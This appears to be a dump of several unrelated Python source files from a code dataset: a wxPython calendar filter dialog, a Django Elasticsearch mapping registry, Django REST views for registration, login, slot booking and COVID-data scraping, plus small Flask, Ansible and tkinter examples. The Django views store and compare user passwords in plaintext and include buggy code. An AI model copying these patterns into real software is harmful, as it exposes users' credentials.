evt_id=evt.GetId()\n if evt_id==self._start_date_chkbox.GetId():\n w1,w2=self._start_date_chkbox, self._start_date\n elif evt_id==self._end_date_chkbox.GetId():\n w1,w2=self._end_date_chkbox, self._end_date\n else:\n w1,w2=self.__cat_chkbox, self.__cats\n if w1.GetValue():\n w2.Enable()\n else:\n w2.Disable()\n self._repeat_option(self._start_date_chkbox.GetValue() and \\\n self._end_date_chkbox.GetValue())\nclass FilterDialog(FilterDialogBase):\n def __init__(self, parent, id, caption, categories, style=wx.DEFAULT_DIALOG_STYLE):\n FilterDialogBase.__init__(self, parent, id, caption, categories, style)\n self._get_from_fs()\n def _get_from_fs(self):\n _db_data=self.GetParent().GetParent().GetActiveDatabase().getmajordictvalues('calendar_filter',\n filterobjectfactory)\n _data={}\n _data.update(_db_data.get('filter', {}))\n if _data.has_key('categories'):\n _cat=[x['category'] for x in _data['categories']]\n del _data['categories']\n _data['categories']=_cat\n if _data.has_key('start'):\n _d0=_data['start'][0]\n _date=(_d0['year'], _d0['month'], _d0['day'])\n del _data['start']\n _data['start']=_date\n if _data.has_key('end'):\n _d0=_data['end'][0]\n _date=(_d0['year'], _d0['month'], _d0['day'])\n del _data['end']\n _data['end']=_date\n self.set(_data)\n def _save_to_fs(self, data):\n _data=copy.deepcopy(data, {})\n del _data['categories']\n if data.has_key('categories') and data['categories']:\n _cat=[{'category': x} for x in data['categories'] ]\n _data['categories']=_cat\n del _data['start']\n if data.has_key('start') and data['start']:\n _date=[{'year': data['start'][0], 'month': data['start'][1],\n 'day': data['start'][2] }]\n _data['start']=_date\n del _data['end']\n if data.has_key('end') and data['end']:\n _date=[{'year': data['end'][0], 'month': data['end'][1],\n 'day': data['end'][2] }]\n _data['end']=_date\n _dict={ 'filter': _data }\n database.ensurerecordtype(_dict, filterobjectfactory)\n self.GetParent().GetParent().GetActiveDatabase().savemajordict('calendar_filter',\n _dict)\n def SetDateControls(self, fgs, fgs1):\n self._start_date_chkbox=wx.CheckBox(self, id=wx.NewId(), \n label='Start Date:',\n style=wx.ALIGN_RIGHT)\n fgs.Add(self._start_date_chkbox, 0, wx.ALIGN_RIGHT|wx.ALIGN_CENTRE_VERTICAL, 0)\n self._start_date=wx.calendar.CalendarCtrl(self, -1, wx.DateTime_Now(),\n style = wx.calendar.CAL_SUNDAY_FIRST\n | wx.calendar.CAL_SEQUENTIAL_MONTH_SELECTION)\n self._start_date.Disable()\n fgs.Add(self._start_date, 1, wx.ALIGN_LEFT, 5)\n self._end_date_chkbox=wx.CheckBox(self, id=wx.NewId(),\n label='End Date:',\n style=wx.ALIGN_RIGHT)\n fgs.Add(self._end_date_chkbox, 0, wx.ALIGN_RIGHT|wx.ALIGN_CENTRE_VERTICAL, 0)\n self._end_date=wx.calendar.CalendarCtrl(self, -1, wx.DateTime_Now(),\n style = wx.calendar.CAL_SUNDAY_FIRST\n | wx.calendar.CAL_SEQUENTIAL_MONTH_SELECTION)\n self._end_date.Disable()\n fgs.Add(self._end_date, 1, wx.ALIGN_LEFT, 5)\n self._preset_date_chkbox=wx.CheckBox(self, -1, label='Preset Duration',\n style=wx.ALIGN_RIGHT)\n fgs.Add(self._preset_date_chkbox, 0,\n wx.ALIGN_RIGHT|wx.ALIGN_CENTRE_VERTICAL, 0)\n self._preset_date=wx.Choice(self, -1, choices=('This Week',\n 'This Month',\n 'This Year'))\n self._preset_date.SetSelection(1)\n self._preset_date.Disable()\n fgs.Add(self._preset_date, 0, wx.ALIGN_LEFT, 5)\n wx.EVT_CHECKBOX(self, self._preset_date_chkbox.GetId(),\n self.OnCheckBox)\n def OnCheckBox(self, evt):\n super(FilterDialog, self).OnCheckBox(evt)\n self._repeat_option(self._start_date_chkbox.GetValue() and \\\n self._end_date_chkbox.GetValue() or \\\n self._preset_date_chkbox.GetValue())\n if evt.GetId()==self._preset_date_chkbox.GetId():\n if self._preset_date_chkbox.GetValue():\n self._preset_date.Enable()\n else:\n self._preset_date.Disable()\n def __set_date(self, chk_box, cal, d):\n if d is None:\n chk_box.SetValue(False)\n cal.Disable()\n else:\n chk_box.SetValue(True)\n cal.Enable()\n dt=wx.DateTime()\n dt.Set(d[2], year=d[0], month=d[1]-1)\n cal.SetDate(dt)\n def set_base(self, data):\n super(FilterDialog, self).set_base(data)\n self._rpt_chkbox.SetValue(data.get('rpt_events', False))\n def set(self, data):\n self.__set_date(self._start_date_chkbox, self._start_date,\n data.get('start', None))\n self.__set_date(self._end_date_chkbox, self._end_date,\n data.get('end', None))\n self.set_base(data)\n if data.get('preset_date', None) is not None:\n self._preset_date_chkbox.SetValue(True)\n self._preset_date.Enable()\n self._preset_date.SetSelection(data['preset_date'])\n self._repeat_option(True)\n else:\n self._preset_date_chkbox.SetValue(False)\n self._preset_date.Disable()\n def _get_preset_thisweek(self):\n _today=datetime.date.today()\n _dow=_today.isoweekday()%7 #Sun=0, Sat=6\n _end=_today+datetime.timedelta(6-_dow)\n return ((_today.year, _today.month, _today.day),\n (_end.year, _end.month, _end.day))\n def _get_preset_thismonth(self):\n _today=datetime.date.today()\n _end=_today.replace(day=calendar.monthrange(_today.year,_today.month)[1])\n return ((_today.year, _today.month, _today.day),\n (_end.year, _end.month, _end.day))\n def _get_preset_thisyear(self):\n _today=datetime.date.today()\n _end=_today.replace(month=12, day=31)\n return ((_today.year, _today.month, _today.day),\n (_end.year, _end.month, _end.day))\n def _get_preset_date(self):\n _choice=self._preset_date.GetSelection()\n if _choice==wx.NOT_FOUND:\n return None, None\n if _choice==0:\n return self._get_preset_thisweek()\n elif _choice==1:\n return self._get_preset_thismonth()\n else:\n return self._get_preset_thisyear()\n def get(self):\n r={}\n if self._preset_date_chkbox.GetValue():\n r['start'],r['end']=self._get_preset_date()\n r['preset_date']=self._preset_date.GetSelection()\n else:\n if self._start_date_chkbox.GetValue():\n dt=self._start_date.GetDate()\n r['start']=(dt.GetYear(), dt.GetMonth()+1, dt.GetDay())\n else:\n r['start']=None\n if self._end_date_chkbox.GetValue():\n dt=self._end_date.GetDate()\n r['end']=(dt.GetYear(), dt.GetMonth()+1, dt.GetDay())\n else:\n r['end']=None\n self.get_base(r)\n self._save_to_fs(r)\n return r\nclass AutoSyncFilterDialog(FilterDialogBase):\n def __init__(self, parent, id, caption, categories, style=wx.DEFAULT_DIALOG_STYLE):\n FilterDialogBase.__init__(self, parent, id, caption, categories, style)\n def SetDateControls(self, fgs, fgs1):\n self._start_date_chkbox=wx.CheckBox(self, id=wx.NewId(), \n label='Start Offset (days):',\n style=wx.ALIGN_RIGHT)\n fgs.Add(self._start_date_chkbox, 0, wx.ALIGN_RIGHT|wx.TOP|wx.BOTTOM, 5)\n self._start_date=wx.lib.intctrl.IntCtrl(self, id=wx.NewId(), size=(50,-1), \n value=0, min=0, max=1000)\n self._start_date.Disable()\n fgs.Add( self._start_date, 0, wx.ALIGN_LEFT|wx.TOP|wx.BOTTOM, 2)\n self._end_date_chkbox=wx.CheckBox(self, id=wx.NewId(),\n label='End Offset (days):',\n style=wx.ALIGN_RIGHT)\n fgs.Add(self._end_date_chkbox, 0, wx.ALIGN_RIGHT|wx.TOP|wx.BOTTOM, 5)\n self._end_date=wx.lib.intctrl.IntCtrl(self, id=wx.NewId(), size=(50,-1), \n value=0, min=0, max=1000)\n self._end_date.Disable()\n fgs.Add( self._end_date, 0, wx.ALIGN_LEFT|wx.TOP|wx.BOTTOM, 2)\n fgs1.Add(wx.StaticText(self, -1, 'Note: The start offset is the number of days' + \n ' in the past, and the end offset is the number of days' +\n ' in the future imported from the calender into your phone. If' +\n ' disabled, all past and/or future events are imported.',\n size=(270,55)),\n 0, wx.ALIGN_LEFT|wx.TOP|wx.BOTTOM, 5)\n def __set_start_date(self, d):\n if d is None:\n self._start_date_chkbox.SetValue(False)\n self._start_date.Disable()\n else:\n self._start_date_chkbox.SetValue(True)\n self._start_date.Enable()\n self._start_date.SetValue(d)\n def __set_end_date(self, d):\n if d is None:\n self._end_date_chkbox.SetValue(False)\n self._end_date.Disable()\n else:\n self._end_date_chkbox.SetValue(True)\n self._end_date.Enable()\n self._end_date.SetValue(d)\n def set(self, data):\n self.__set_start_date(data.get('start_offset', None))\n self.__set_end_date(data.get('end_offset', None))\n self.set_base(data)\n def get(self):\n r={}\n if self._start_date_chkbox.GetValue():\n r['start_offset']=self._start_date.GetValue()\n else:\n r['start_offset']=None\n if self._end_date_chkbox.GetValue():\n r['end_offset']=self._end_date.GetValue()\n else:\n r['end_offset']=None\n self.get_base(r)\n return r\n","sub_path":"BitPim/rev3177-3296/base-trunk-3177/common_calendar.py","file_name":"common_calendar.py","file_ext":"py","file_size_in_byte":24738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"493873132","text":"from django.apps import apps\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.db.models.base import ModelBase\nfrom django_es import es_instance\nfrom .indices import ModelIndex\nimport elasticsearch\nimport logging\n\nsystem_check_errors = []\n\n\nclass AlreadyRegistered(Exception):\n pass\n\n\nclass NotRegistered(Exception):\n pass\n\n\nclass IndexMapping(object):\n \"\"\"\n An IndexMapping object encapsulates an instance of the Django ES application.\n Models are registered with the IndexMapping using the register() method..\n \"\"\"\n\n def __init__(self, name='django_es'):\n self._registry = {} # model_class class -> model_index_class instance\n self.name = name\n\n def get_index(self, index, indice):\n if index is None: # get last indexex\n index = indice.indexes[-1:]\n else: # append it\n indice.indexes.append(index)\n\n return index\n\n def register(self, model_or_iterable=None, model_index_class=None, index=None):\n \"\"\"\n Registers the given model(s) with the given model_index_class class.\n\n The model(s) should be Model classes, not instances.\n\n If an model_index_class class isn't given, it will use ModelIndex (the default\n indices). If keyword arguments are given -- e.g., list_display --\n they'll be applied as options to the model_index_class class.\n\n If a model is already registered, this will raise AlreadyRegistered.\n\n If a model is abstract, this will raise ImproperlyConfigured.\n \"\"\"\n if not model_index_class:\n model_index_class = ModelIndex\n\n if isinstance(model_or_iterable, ModelBase):\n model_or_iterable = [model_or_iterable]\n for model in model_or_iterable:\n if model._meta.abstract:\n raise ImproperlyConfigured('The model %s is abstract, so it '\n 'cannot be registered with admin.' % model.__name__)\n\n indice = model_index_class(model)\n index = self.get_index(index, indice)\n\n if self.is_registered(model, index):\n raise AlreadyRegistered('The model %s is already registered' % model.__name__)\n\n # Ignore the registration if the model has been\n # swapped out.\n if not model._meta.swapped:\n try:\n # create mapping for model related to a doctype\n es_instance.indices.create(index=index, body={\n 'mappings': indice.mapping.to_dict(),\n 'settings': {'analysis': indice.mapping._collect_analysis()}}, ignore=400)\n except elasticsearch.exceptions.RequestError as exc:\n raise Exception(\n 'You\\'ve tried to update an existing mapping with same fields name, please visit' +\n ' https://www.elastic.co/blog/changing-mapping-with-zero-downtime for more information.' +\n ' Exception: ' + exc.info['error']['reason']\n )\n except elasticsearch.exceptions.ConnectionError:\n logging.error('Cannot connect to elasticsearch instance, please verify your settings')\n # register a model with its indice\n self._registry[model] = indice\n else:\n # register a model with its indice\n self._registry[model] = indice\n\n # classic mapping\n if not model_or_iterable:\n # TODO : check doctype does not already exist?\n indice = model_index_class()\n index = self.get_index(index, indice)\n try:\n es_instance.indices.create(index=index, body={\n 'mappings': indice.mapping.to_dict(),\n 'settings': {\n 'analysis': indice.mapping._collect_analysis()}},\n ignore=400)\n except elasticsearch.exceptions.RequestError as exc:\n raise Exception(\n 'You\\'ve tried to update an existing mapping with same fields name, please visit' +\n ' https://www.elastic.co/blog/changing-mapping-with-zero-downtime for more information.' +\n ' Exception: ' + exc.info['error']['reason']\n )\n except elasticsearch.exceptions.ConnectionError as exc:\n logging.error('Cannot connect to elasticsearch instance, please verify your settings')\n # register a model with its indice\n self._registry[indice.doctype] = indice\n else:\n # register a model with its indice\n self._registry[indice.doctype] = indice\n\n def unregister(self, model_or_iterable):\n \"\"\"\n Unregisters the given model(s).\n\n If a model isn't already registered, this will raise NotRegistered.\n \"\"\"\n if isinstance(model_or_iterable, ModelBase):\n model_or_iterable = [model_or_iterable]\n for model in model_or_iterable:\n if not self.is_registered(model):\n raise NotRegistered('The model %s is not registered' % model.__name__)\n del self._registry[model]\n\n def is_registered(self, model, index=None):\n \"\"\"\n Check if a model class is registered with this `IndexMapping`.\n \"\"\"\n return model in self._registry and (index is None or index in self._registry[model].indexes)\n\n def get_index_instance(self, model):\n \"\"\"\n Check if a model class is registered with this `IndexMapping`.\n \"\"\"\n return self._registry[model]\n\n @staticmethod\n def check_dependencies():\n \"\"\"\n Check that all things needed to run the admin have been correctly installed.\n\n The default implementation checks that admin and contenttypes apps are\n installed, as well as the auth context processor.\n \"\"\"\n if not apps.is_installed('django_es'):\n raise ImproperlyConfigured(\n \"Put 'django_es' in your INSTALLED_APPS \"\n \"setting in order to use the django_es application.\")\n\n\nmapping = IndexMapping()\n","sub_path":"django_es/mappings.py","file_name":"mappings.py","file_ext":"py","file_size_in_byte":6280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"10673765","text":"from django.shortcuts import render\nfrom django.db import IntegrityError\nimport json\nfrom rest_framework.views import APIView\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework import serializers\nfrom rest_framework import generics\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.parsers import JSONParser\nimport json\nimport pickle\nimport random\nfrom covid_response.settings import BASE_DIR\nimport os\nimport string , random\nimport requests\nimport re\nimport os.path\nimport datetime\nfrom os import path\nimport bs4\nfrom bs4 import BeautifulSoup\nfrom .models import User,UserDetail,Shop,Slots\nfrom user.serializers import ShopSerializer\n\na = os.path.join(BASE_DIR, 'static/fixtures/model_output.pkl')\nb = os.path.join(BASE_DIR, 'static/fixtures/intent.json')\n\nfile = open(a, 'rb')\ntext_clf = pickle.load(file)\nfile.close()\n\nwith open(b) as f:\n doc7 = f.read()\n inte = json.loads(doc7)\n list_of_intents = inte[\"intents\"]\n\n\ndef getResponse(ints):\n if ints == \"noidea\":\n result = \"I don't get it please ask something related to topic\"\n else:\n for i in list_of_intents:\n if i[\"tag\"] == ints:\n result = random.choice(i[\"responses\"])\n break\n return result\n\n\ndef chatbot_response(text):\n a = text_clf.predict_proba([text])\n print(max(a[0]))\n if max(a[0]) < 0.5:\n pred = [\"noidea\"]\n else:\n pred = text_clf.predict([text])\n res = getResponse(pred[0])\n return res\n\ndef registeruser(post_info):\n try:\n reg_email=post_info[\"email\"]\n reg_pass=post_info[\"pass\"]\n reg_fname=post_info[\"fname\"]\n reg_lname=post_info[\"lname\"]\n reg_phno=post_info[\"phno\"]\n reg_sex=post_info[\"sex\"]\n akey = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 16))\n uobj=User(email=reg_email, activation_key=akey,password=reg_pass) \n uobj.save()\n udobj=UserDetail(fname=reg_fname,lname=reg_lname,phno=reg_phno,sex=reg_sex)\n udobj.uid=uobj\n udobj.save()\n reg_mes=\"REGISTRATION SUCCESS\" \n return reg_mes\n except IntegrityError as e:\n reg_mes=\"duplicate email\"\n return reg_mes\n \ndef loginuser(post_info):\n log_email=post_info[\"email\"]\n log_pass=post_info[\"pass\"]\n try:\n realuser=User.objects.get(email=log_email)\n if log_pass==realuser.password:\n log_mes=\"LOGIN SUCCESS\"\n else:\n log_mes=\"Incorrect Password\" \n return log_mes\n except User.DoesNotExist:\n log_mes=\"Incorrect Email\"\n return log_mes \n\ndef generate_slot(start_time, end_time):\n t = start_time\n while t <= end_time:\n yield t.strftime('%H:%M')\n t = (datetime.datetime.combine(datetime.date.today(), t) +\n datetime.timedelta(minutes=15)).time()\n\ndef available_slot(given_time,given_shop_id,given_date):\n slots_booked=Slots.objects.filter(shopid=given_shop_id,slot_date=given_date,slot_time=given_time).count()\n if slots_booked>=5:\n a=\"NO\"\n return a\n else:\n a=\"YES\"\n return a \n \n\n@csrf_exempt\ndef shop_list():\n shops = Shop.objects.all()\n serializer = ShopSerializer(shops, many=True)\n return JsonResponse(serializer.data, safe=False)\n\ndef confirm_slot(post_info):\n g_shop_id=post_info[\"shop_id\"]\n c_shop_id=int(g_shop_id)\n c_slot_time=post_info[\"slot_time\"]\n g_user_id=post_info[\"user_id\"]\n c_phno=post_info[\"phno\"]\n slot=Slots(shopid=Shop.objects.get(shopid=c_shop_id),slot_time=c_slot_time,user_id=User.objects.get(email=g_user_id),user_phno=c_phno)\n slot.save()\n mess=slot.id\n return mess\n\n\nclass SlotConfirmAPI(APIView):\n def post(self,request,format='json'):\n post_info=json.loads((request.body).decode('utf-8'))\n slot_mess=confirm_slot(post_info)\n return JsonResponse(slot_mess,safe=False) \n\n \n\nclass ShopListAPI(APIView):\n def post(self,request,format='json'):\n json=shop_list()\n return json\n\nclass SlotCheckAPI(APIView):\n def post(self,request,format='json'):\n post_info=json.loads((request.body).decode('utf-8'))\n g_shop_id=post_info[\"shop_id\"]\n g_year=post_info[\"year\"]\n g_month=post_info[\"month\"]\n g_day=post_info[\"day\"]\n start_time=datetime.time(9,00,00)\n end_time=datetime.time(20,00,00)\n slot_generator=generate_slot(start_time ,end_time)\n slot_list=list(slot_generator)\n g_date=datetime.date(g_year,g_month,g_day)\n g_new=int(g_shop_id)\n for i in slot_list:\n a=available_slot(i,g_new,g_date)\n if(a==\"NO\"):\n slot_list.remove(i)\n key_list=list(range(len(slot_list)))\n slot_dict=dict(zip(key_list,slot_list))\n return JsonResponse(slot_dict,safe=False)\n\n \nclass LoginAPI(APIView):\n def post(self,request,format='json'):\n try:\n post_info=json.loads((request.body).decode('utf-8'))\n log_mes=loginuser(post_info)\n return JsonResponse(log_mes,safe=False) \n except ValueError as e:\n return Response(e.args[0], status.HTTP_400_BAD_REQUEST)\n \nclass RegistrationAPI(APIView):\n def post(self,request,format='json'):\n try:\n post_info=json.loads((request.body).decode('utf-8'))\n reg_mes=registeruser(post_info)\n return JsonResponse(reg_mes,safe=False)\n except ValueError as e:\n return Response(e.args[0], status.HTTP_400_BAD_REQUEST)\n \n\nclass FakeNewsChatBotAPI(APIView):\n def post(self, request, format='json'):\n try:\n re = json.loads((request.body).decode('utf-8'))\n ques = re[\"question\"]\n res = chatbot_response(ques)\n return JsonResponse(res, safe=False)\n except ValueError as e:\n return Response(e.args[0], status.HTTP_400_BAD_REQUEST)\n\n\nclass CovidUpdatesAPI(APIView):\n def post(self, request, format='json'):\n try:\n res = scrape_now()\n return JsonResponse(res, safe=False)\n except ValueError as e:\n return Response(e.args[0], status.HTTP_400_BAD_REQUEST)\n\n\ndef get_contents():\n url = \"https://www.mohfw.gov.in/\"\n r = requests.get(url)\n txt = \"\"\n if r.status_code == 200:\n txt = r.text\n return txt\n\n\ndef scrape_now():\n output_json = {\n 'Status': '',\n 'Message': '',\n 'overview': {},\n 'state_wise_list': []\n }\n txt = get_contents()\n soup = BeautifulSoup(txt, 'html.parser')\n overalldata = soup.find_all('div', {'class': 'site-stats-count'})\n for d in overalldata:\n a = d.find(class_=\"bg-blue\").text.splitlines()[2]\n b = d.find(class_=\"bg-green\").text.splitlines()[2]\n c = d.find(class_=\"bg-red\").text.splitlines()[2]\n d = d.find(class_=\"bg-orange\").text.splitlines()[2]\n \n output_json['overview'] = {\n 'active': a,\n 'discharged':b, \n 'deaths': c,\n 'migrated':d\n }\n table = soup.find('table')\n state_wise_details = {}\n state={}\n count = 0\n if len(table) > 0:\n data = []\n for table_row in table.findAll('tr'):\n columns = table_row.findAll('td')\n output_row = []\n for column in columns:\n output_row.append(column.text) \n data.append(output_row) \n\n #Filtering out null data values of unecessary values \n data = list(filter(None,data)) \n \n #Filtering out null data values of last value\n data.pop(-1)\n #Total Cases Popped out of list \n data.pop(-1)\n for index, value in enumerate(data): \n #Initailizing the JSON output to store new STATE DETAILS in the JSON list \n state_wise_details = {}\n state_wise_details[\"state_name\"] = data[index][1]\n state_wise_details[\"confirmed\"] = data[index][2]\n state_wise_details[\"cured\"] = data[index][3]\n state_wise_details[\"deaths\"] = data[index][4] \n output_json['state_wise_list'].append(state_wise_details)\n \n output_json['Status'] = 'Success'\n output_json['Message'] = 'Data fetched successfully.' \n return output_json\n else:\n message = message + \" ERROR: No Table found \\n\"\n print(\"No Table found\")\n output_json['Status'] = 'Failure'\n output_json['Message'] = 'No data present.' \n return output_json","sub_path":"user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"468144538","text":"def get_config(module, source, filter, lock=False):\n conn = get_connection(module)\n try:\n locked = False\n if lock:\n conn.lock(target=source)\n locked = True\n response = conn.get_config(source=source, filter=filter)\n except ConnectionError as e:\n module.fail_json(msg=to_text(e, errors='surrogate_then_replace').strip())\n finally:\n if locked:\n conn.unlock(target=source)\n return response","sub_path":"Data Set/bug-fixing-5/de2c1dc241cc90f5e9c4dffd35c508629b42e4b7--fix.py","file_name":"de2c1dc241cc90f5e9c4dffd35c508629b42e4b7--fix.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"177373091","text":"from flask import abort\nfrom flask_restx import Resource, Namespace, Model, fields, reqparse\nfrom backend.infraestructura.lineaequipoplan_repo import LineaEquipoPlanRepo\n\nrepo = LineaEquipoPlanRepo()\n\nnsLEP = Namespace('lineaequipoplan', description= 'Administrador de linea-equipo-plan')\nmodeloLEPSinNum = Model('DetalleSinNumero',{\n 'adicion_numero': fields.Integer(),\n 'producto_codigo': fields.Integer(),\n 'cantidad': fields.Integer()\n})\n\nmodeloLEP = modeloLEPSinNum.clone('Lineaequipoplan', {\n 'id': fields.Integer()\n})\n\nnsLEP.models[modeloLEPSinNum.name] = modeloLEPSinNum\nnsLEP.models[modeloLEP.name] = modeloLEP\n\nnuevoLEPParser = reqparse.RequestParser(bundle_errors=True)\nnuevoLEPParser.add_argument('adicion_numero', type=int, required=True)\nnuevoLEPParser.add_argument('producto_codigo', type=int, required=True)\nnuevoLEPParser.add_argument('cantidad', type=int, required=True)\n\neditarLEPParser = nuevoLEPParser.copy()\neditarLEPParser.add_argument('id', type=int, required=True)\n\n@nsLEP.route('/')\nclass DetalleResource(Resource):\n @nsLEP.marshal_list_with(modeloLEP)\n def get(self):\n return repo.get_all()\n\n @nsLEP.expect(modeloLEPSinNum)\n @nsLEP.marshal_with(modeloLEP)\n def post(self):\n data = nuevoLEPParser.parse_args()\n df = repo.agregar(data)\n if df:\n return df, 201\n abort(500)\n\n@nsLEP.route('/')\nclass DetalleResource(Resource):\n @nsLEP.marshal_with(modeloLEP)\n def get(self, id):\n df = repo.get_by_id(id)\n if df:\n return df, 200\n abort(400)\n\n def delete(self, id):\n if repo.borrar(id):\n return 'Relacion linea-equipo-plan eliminada', 200\n abort(400)\n\n @nsLEP.expect(modeloLEP)\n def put(self, id):\n data = editarLEPParser.parse_args()\n if repo.modificar(id,data):\n return 'Relacion linea-equipo-plan modificada', 200\n abort(404)","sub_path":"backend/api/lineaequipoplan_api.py","file_name":"lineaequipoplan_api.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"385073696","text":"#WIP - work in progress\n#https://www.python-course.eu/tkinter_layout_management.php\n#http://effbot.org/tkinterbook/grid.htm\n\nimport unittest\nimport tkinter as tk\nfrom tkinter import ttk\n\n#needs additional imports for fancy widgets\nfrom tkinter import scrolledtext\nfrom tkinter import Menu\nfrom tkinter import messagebox as mBox\nfrom tkinter import Spinbox\nfrom tkinter import PhotoImage\n#from PIL import Image\nfrom tkinter import Canvas\n#import tooltip as tt #note: tooltip may need pip install\n\nfrom tkinter import filedialog\n\nfrom modINFO74000.misc_func import PATH_TO_IMAGE_FILES\n\ndef setUpModule():\n print(\"----- TkInter GUI widget app unitest Suite begins\")\ndef tearDownModule(): \n print(\"\\n----- TkInter GUI widget app unitest Suite ends\")\n\nclass TestClass_tkinter_GUI_complex(unittest.TestCase): \n #Literature resource: Python GUI Programming Cookbook.pdf\n def test_case01_gui_app_complex_ui(self): \n\n win_main = tk.Tk()\n win_main.title(\"TkInter Python GUI - trying widgets out! \")\n # Change the main windows icon\n #win_main.iconbitmap(PATH_TO_IMAGE_FILES+'/GHouse.png') #does not work!!\n #win_main.resizable(0, 0) #no resizing?\n #root.withdraw() #to hide it\n\n #tab widget style='lefttab.TNotebook'\n tabControl = ttk.Notebook(win_main)\n tab1 = ttk.Frame(tabControl)\n tabControl.add(tab1, text='Tab 1')\n tab2 = ttk.Frame(tabControl)\n tabControl.add(tab2, text='Tab 2')\n tab3 = ttk.Frame(tabControl)\n tabControl.add(tab3, text='Tab 3')\n tabControl.pack(expand=1, fill=\"both\")\n \n\n # We are creating a container frame to hold all other widgets # 1\n frame1 = ttk.LabelFrame(tab1, text=' Main Frame ')\n frame1.grid(column=0, row=0,padx=8, pady=4)\n\n #label example\n aLabel=ttk.Label(frame1, text=\"Enter name:\")\n aLabel.grid(column=0, row=0, sticky='W') \n\n #button widget example\n #define a button click callback\n def clickMe():\n #button.configure(text=\"** I have been Clicked! **\")\n aLabel.configure(foreground='red')\n button.configure(text='Hello ' + nameString.get()+' '+numberComboBox.get())\n\n button = ttk.Button(frame1, text=\"Click Me!\", command=clickMe)\n button.grid(column=2, row=0)\n\n #textbox widget example\n nameString = tk.StringVar()\n nameTextBox = ttk.Entry(frame1, width=12, textvariable=nameString)\n nameTextBox.grid(column=0, row=1) \n\n #combobox widget example\n ttk.Label(frame1, text=\"Choose a number:\").grid(column=1, row=0)\n numberString = tk.StringVar()\n #for r/o combobox state='readonly'\n numberComboBox = ttk.Combobox(frame1, width=12, textvariable=numberString)\n numberComboBox['values'] = (1, 2, 4, 42, 100)\n numberComboBox.grid(column=1, row=1)\n numberComboBox.current(0)\n\n #spinbox widget\n def _spin():\n value = spin.get()\n print(value)\n scrolledText.insert(tk.INSERT, value + '\\n')\n\n spin = Spinbox(frame1, from_=0, to=10, width=5, command=_spin)\n #or spin = Spinbox(monty, values=(1, 2, 4, 42, 100), width=5, ....\n spin.grid(column=0, row=2)\n\n # scrolled Text control\n scrolW = 30\n scrolH = 3\n scrolledText = scrolledtext.ScrolledText(frame1, width=scrolW, height=scrolH,wrap=tk.WORD)\n scrolledText.grid(column=0, columnspan=3)\n\n\n #-----------------Frame 2\n frame2 = ttk.LabelFrame(tab2, text=' The Snake ')\n frame2.grid(column=0, row=0, padx=8, pady=4)\n\n #checkbox examples\n chVarDis = tk.IntVar()\n check1 = tk.Checkbutton(frame2, text=\"Disabled\", variable=chVarDis, state='disabled')\n check1.select()\n check1.grid(column=0, row=4, sticky=tk.W) # 5\n\n chVarUn = tk.IntVar()\n check2 = tk.Checkbutton(frame2, text=\"UnChecked\", variable=chVarUn)\n check2.deselect()\n check2.grid(column=1, row=4, sticky=tk.W) # 9\n\n chVarEn = tk.IntVar()\n check3 = tk.Checkbutton(frame2, text=\"Enabled\", variable=chVarEn)\n check3.select()\n check3.grid(column=2, row=4, sticky=tk.W) # 13\n\n # Radiobutton example\n #Globals\n COLOR1 = \"Blue\"\n COLOR2 = \"Gold\"\n COLOR3 = \"Red\"\n # Radiobutton Callback\n def radCall():\n radSel=radVar.get()\n if radSel == 1: frame2.configure(text=COLOR1)\n elif radSel == 2: frame2.configure(text=COLOR2)\n elif radSel == 3: frame2.configure(text=COLOR3)\n # create three Radiobuttons\n radVar = tk.IntVar()\n rad1 = tk.Radiobutton(frame2, text=COLOR1, variable=radVar, value=1, command=radCall)\n rad1.grid(column=0, row=5, sticky=tk.W) # 10\n rad2 = tk.Radiobutton(frame2, text=COLOR2, variable=radVar, value=2, command=radCall)\n rad2.grid(column=1, row=5, sticky=tk.W) # 12\n rad3 = tk.Radiobutton(frame2, text=COLOR3, variable=radVar, value=3, command=radCall)\n rad3.grid(column=2, row=5, sticky=tk.W) # 14\n\n\n #label frame\n # Create a container to hold labels\n labelsFrame = ttk.LabelFrame(frame2, text=' Labels in a Frame ') # 1\n labelsFrame.grid(column=0, row=7, padx=20, pady=40)\n # Place labels into the container element # 2\n ttk.Label(labelsFrame, text=\"Label1 -- sooooo much loooonger...\").grid(column=0, row=0)\n ttk.Label(labelsFrame, text=\"Label2\").grid(column=0, row=1)\n ttk.Label(labelsFrame, text=\"Label3\").grid(column=0, row=2)\n\n #space out the children of frame object\n for child in labelsFrame.winfo_children():\n child.grid_configure(padx=8, pady=4)\n\n #menu example\n menuBar = Menu(win_main)\n win_main.config(menu=menuBar)\n #adding file menu\n fileMenu = Menu(menuBar, tearoff=1)\n menuBar.add_cascade(label=\"File\", menu=fileMenu)\n #adding view menu\n viewMenu = Menu(menuBar, tearoff=0)\n menuBar.add_cascade(label=\"View\", menu=viewMenu)\n \n def _quit():\n answer = mBox.askyesno(\"Python Message Dual Choice Box\", \"Are you sure you really wish to do this?\")\n print(answer)\n if answer==True: \n win_main.quit()\n\n def open_file():\n filename = filedialog.askopenfilename(initialdir = \".\",title = \"Open file\",filetypes = ((\"jpeg files\",\"*.jpg\"),(\"any file\",\"*.*\")))\n print('Opened file:',filename)\n\n def save_file():\n filename = filedialog.asksaveasfilename(initialdir = \".\",title = \"Save file\",filetypes = ((\"jpeg files\",\"*.jpg\"),(\"any file\",\"*.*\")))\n print('Saving file:',filename)\n\n def select_directory():\n filename = filedialog.askdirectory()\n print('Selected directory:',filename)\n\n fileMenu.add_command(label=\"New\")\n fileMenu.add_command(label=\"Open file...\", command=open_file)\n fileMenu.add_command(label=\"Save file...\", command=save_file)\n fileMenu.add_command(label=\"Select directory...\", command=select_directory) \n fileMenu.add_separator()\n 